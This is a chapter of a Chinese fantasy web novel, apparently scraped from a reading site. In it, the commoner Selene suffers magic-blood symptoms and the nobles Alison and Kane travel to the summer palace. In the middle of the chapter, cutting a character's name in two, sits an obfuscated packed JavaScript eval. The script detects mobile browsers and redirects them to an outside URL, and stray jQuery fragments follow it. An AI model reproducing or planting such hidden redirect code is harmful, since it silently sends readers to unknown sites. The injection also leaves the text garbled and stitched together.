“艾莉森走了吗？”


    赛琳从实验室内侧小心翼翼地走了出来。


    “嗯。”海蒂双手插兜点点头，“我听叔父大人说，她受到埃德蒙殿下的邀请，要跟随陛下前往夏宫避暑。”


    “她很担心你，还特意拜托我，要我在夏休期间多加照顾你的身体。”


    赛琳愣了愣，这才反应过来，对于平民而言，这是只出现在报纸头版上的遥远活动。如果不是进入了皇家军事学院，艾莉森也好，埃德蒙殿下也好，甚至是卡西恩……这些人和自己，根本是不会有产生交集的机会的。


    她咬了咬下唇，压下心中的苦涩。


    究竟是怎样的傲慢，才让自己产生了错觉，她，一介平民的赛琳.罗德里克，能够帮上兰卡罗德家大小姐的忙？


    最近，赛琳魔力失控的情况越发频繁了。


    即使学院放宽了对炼金魔枪的限制，但赛琳的表现却很难称得上亮眼，尤其是魔枪还会造成巨大的体能消耗——


    哪怕是早早休息，第二天强烈的疲惫感依旧无法消除，注意力也没有办法集中。


    成绩单惨不忍睹，一份来自院方的书面警告已经提前发在赛琳手上——“如果下学期依旧没有改善，对该生是否有继续学业的能力，学院持保留态度。”


    “海蒂姐，这到底是……怎么回事？自从卡西恩醒过来……我的身体，好像渐渐变得不像是自己的了。”赛琳的声音微微颤抖着，指尖下意识地攥紧衣角。“我感觉得到，我的体内……好像有什么东西在悄悄生长着。”


    海蒂挑了挑眉，水晶镜片泛过冰冷的光芒：“还有什么感觉吗？比方说，你最近有没有……梦见过什么？”


    “梦？”赛琳沉吟片刻，她试图回想，但一阵尖锐的疼痛却仿佛针刺般扎入太阳穴中，她猛地抱住了头。


    海蒂见她神色不对，连忙上前查看。赛琳脸色惨白，豆大的汗珠顺着鬓发滑落下来。


    这位经验丰富的炼金学者很快便发现，一股陌生的力量在眼前少女的体内流窜着，正在侵入她的意识。


    有心灵魔法的力量在干预。


    海蒂面色一沉，已经有了猜测。


    古斯塔夫教授死后，他的研究也被彻底封锁，但不论是出于学者本能的好奇心，还是对古斯塔夫死因的怀疑，海蒂私下并没有放弃对这件事情的追查，但直到艾莉森带着赛琳出现在她面前，她并不能确定人工魔血是否真正在活生生的人类身上得以实现。


    埃德蒙殿下的反应，乃至其后在卡西恩.布莱克身上发生的种种，都明确指向唯一的结论。


    ——古斯塔夫教授不仅成功制造了魔血，还在不同的实验体上完成了再现。


    海蒂不禁冷笑。


    布莱克公爵真不愧有“毒蛇”之名，身为老师秘密雇主的他，不仅成功为家族延续了魔血，还翻脸不认人，借王室之手将老师杀人灭口，顺便对当时声势如日中天的兰卡罗德家以及其背后的路易殿下施以沉重的一击。


    “没事的，赛琳。”海蒂扶住赛琳的肩膀，语气温柔，“你对魔力的敏感度不同常人，上次卡西恩,布莱克的苏醒，对一定范围内魔血持有者都有影响，贵族们都有私人医生，能够即时处理。但你……”


    赛琳眨了眨眼睛，疼痛似乎终于舒缓了些，她渐渐反应过来海蒂话中的含义，苦笑道：“因为我是平民，对吗”


    “没有关系的，”海蒂握住赛琳的手，“你是艾莉森的朋友，自然就是我的朋友。”


    “我会尽我所有的力量来帮助你。”


    ***


    夏宫位于王都北部的法伦省，正式的名称是米罗尔宫，也被称为镜宫。


    王宫三面环水，湖水冰冷刺骨，却呈现出一种不可思议的透明度，倒影着碧蓝的天空和延绵的针叶林。


    冷杉和云杉沿着起伏的山脉高耸入云，林下铺着宛如地毯一般厚厚的苔藓，夏季时分，玫红色，紫色和白色的花朵散落在林中，王宫贵族们骑马经过时，时不时会惊扰伏卧在灌木从中的野兔、狐狸和麋鹿。


    每到夏季，受邀随侍女王陛下御驾的大小贵族们，便会随着皇室的车队从王都出发，随后的几天或者几周，道路上充斥着各种各样，在这贵族及其仆从的马车，如同迁徙的候鸟一般，涌向权力的中心。


    和克罗纳宫不同，夏宫的规模并不大，只有那些最受皇室青睐的贵族们，才能够入住其中，而那些不够资格的小贵族们，则不得不居住在米罗尔宫周围的庄园中，有些小贵族更是不得不租用当地居民闲置的房屋——


    炼金科技的核心技术纵然掌握在兰卡罗德家手中，但那些被贵族们视为“边缘”的小发明，却让平民们受益匪浅，不少人依靠加工和提炼魔晶赚到了钱，在法伦省买下宅子，等贵族老爷们来的时候，也许还能顺便靠租房引荐引荐，结识女王陛下身边的显贵。


    兰卡罗德家镶嵌着蔷薇狮子家徽的华丽马车经过夏宫外围的米罗尔镇的时候，引来不少人的侧目。


    凯恩.兰卡罗德今日并没有骑马，而是选择和他的妹妹一起乘坐马车。


    他掀起车帘看向外面，路边几名妙龄少女恰好也望了过来，于是这位著名的花花公子抛了个媚眼过去，收获了一片尖叫。


    凯恩：“总觉得法伦的姑娘比王都更有魅力啊。”


    艾莉森：“那是你的错觉，凯恩。”


    “说得也是……毕竟在我美丽的妹妹面前，一切鲜花都会失去颜色。”


    艾莉森早就对自家二哥的花言巧语免疫了，不禁翻了个白眼，转移话题道：


    “也不知道母亲的身体怎么样了？”


    凯恩耸了耸肩膀：“医生说了，没有大碍，只是有些着凉。”


    临行前，公爵夫人突然说身体不适需要推迟行程，凯恩和艾莉森只得先行出发，留公爵夫妇稍后赶来。


    很难说维罗妮卡到底是真的生病，还是享受被关注被照料的感觉。威廉公爵大发雷霆，但面对着维罗妮卡夫人的眼泪和哭诉，这位军部的实际掌权人，连女王陛下也忌惮几分的兰卡罗德公爵，却又只能长叹一声，无可奈何。


    “那两人……不会有事吧？”


    “别担心，”凯恩摆了摆手，“常态，常态——他们的相处模式就这样。俗话说：‘夫妻吵架狗都懒得理会’，让他们自己解决，我们好好享受法伦的夏日风光。”


    艾莉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16211123|175526||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    森摇了摇头，也不知道凯恩是装傻还是真不在乎。


    这是她第一次受邀，还是来自埃德蒙殿下的亲自邀请，对许多同年龄的贵族少女来说，这可以说是无上的荣幸。但艾莉森明白，夏宫随行说的好听是避暑，实际上却是巩固王室统治，展示各贵族权力的舞台——论勾心斗角的程度，比起平时只怕是有过之而无不及。


    而对她来说，还有更重要的目的。


    想到这些，连法仑美丽的湖光山色和米罗尔别具一格的小镇风光，都好像丧失了吸引力。


    正在这时，马车停了下来。


    “怎么了？”凯恩出声询问。


    “凯恩少爷，抱歉，前面似乎……有马车挡住了去路。”


    凯恩挑了挑眉，推开了门。


    正如马车夫所说，刚出镇子不远，前方的道路却完全被挡住了。一俩马车的车轮卡在烂泥里，车身倾斜，看来挣扎了许久。一个中年男子正满脸焦急，正试图指挥车夫把车拉出来。


    “少爷，请小心！”


    兰卡罗德家的车夫低声惊呼，但凯恩却不以为意，直接跳了下来。


    “我正嫌在马车里坐太久，想活动活动呢。”


    他回过头，冲坐在内侧的艾莉森笑道；“妹妹，这就是在法仑避暑的乐趣了，你永远不知道来的是意外，还是惊喜。”


    说罢，他便一边挥手，一边往那辆造成道路拥堵的马车走去，向它的主人挥了挥手：“需要帮忙吗？”


    对方抬起头，有些讶异地看向眼前这个满脸笑容的青年，随即看见了他身后那架绘制着繁复家徽，一看便造价不菲的马车，以及车窗帘后即便只是随意一瞥，也难掩美丽的倩影。


    法仑省的居民们早就习惯了夏季时分贵族们的车队，这名中年男子很快便反应过来，连忙弯腰行礼：“阁下，万分抱歉，我的马车出了些问题，耽搁了您的宝贵时间。”


    凯恩摆了摆手，示意他不必多礼，他绕着那辆马车走了一圈，又看了看那两匹老马，皱眉道：


    “这可麻烦了。”


    说罢，他朝自家车夫打了个响指：“罗恩，去把缰绳解开，套上他们的马车，帮他们把车拉出来。”


    那中年男子微微一愣。


    凯恩衣着华贵，相貌英俊,气度不凡，一看便是颇有身份的贵族，居然就这样对路遇的陌生人伸出援手。


    他连忙深深一礼，道：“尊敬的阁下，您的慷慨令我万分感激。不过我的马车陷得有些深，恐怕还有一段时间才能脱困。如果您不嫌弃的话，请允许我邀请您和您的……呃……”


    凯恩：“妹妹。”


    “哦，好的，邀请您和您的妹妹，到我的宅邸稍作休息，我会吩咐仆人们准备最好的差点，以表歉意。”


    那中年男人摘下帽子，自我介绍道：“我叫做道恩.杜维尔,在本地经营一家小工厂,不是什么可疑人物。”


    凯恩:“艾莉森,你觉得呢?”


    那车厢中的美丽人影冷冰冰地回应道:“我无所谓。”


    凯恩笑道:“那就打扰杜维尔先生了。”


    他想了想,又提出一个有些突兀的问题:“对了……您有女儿吗?”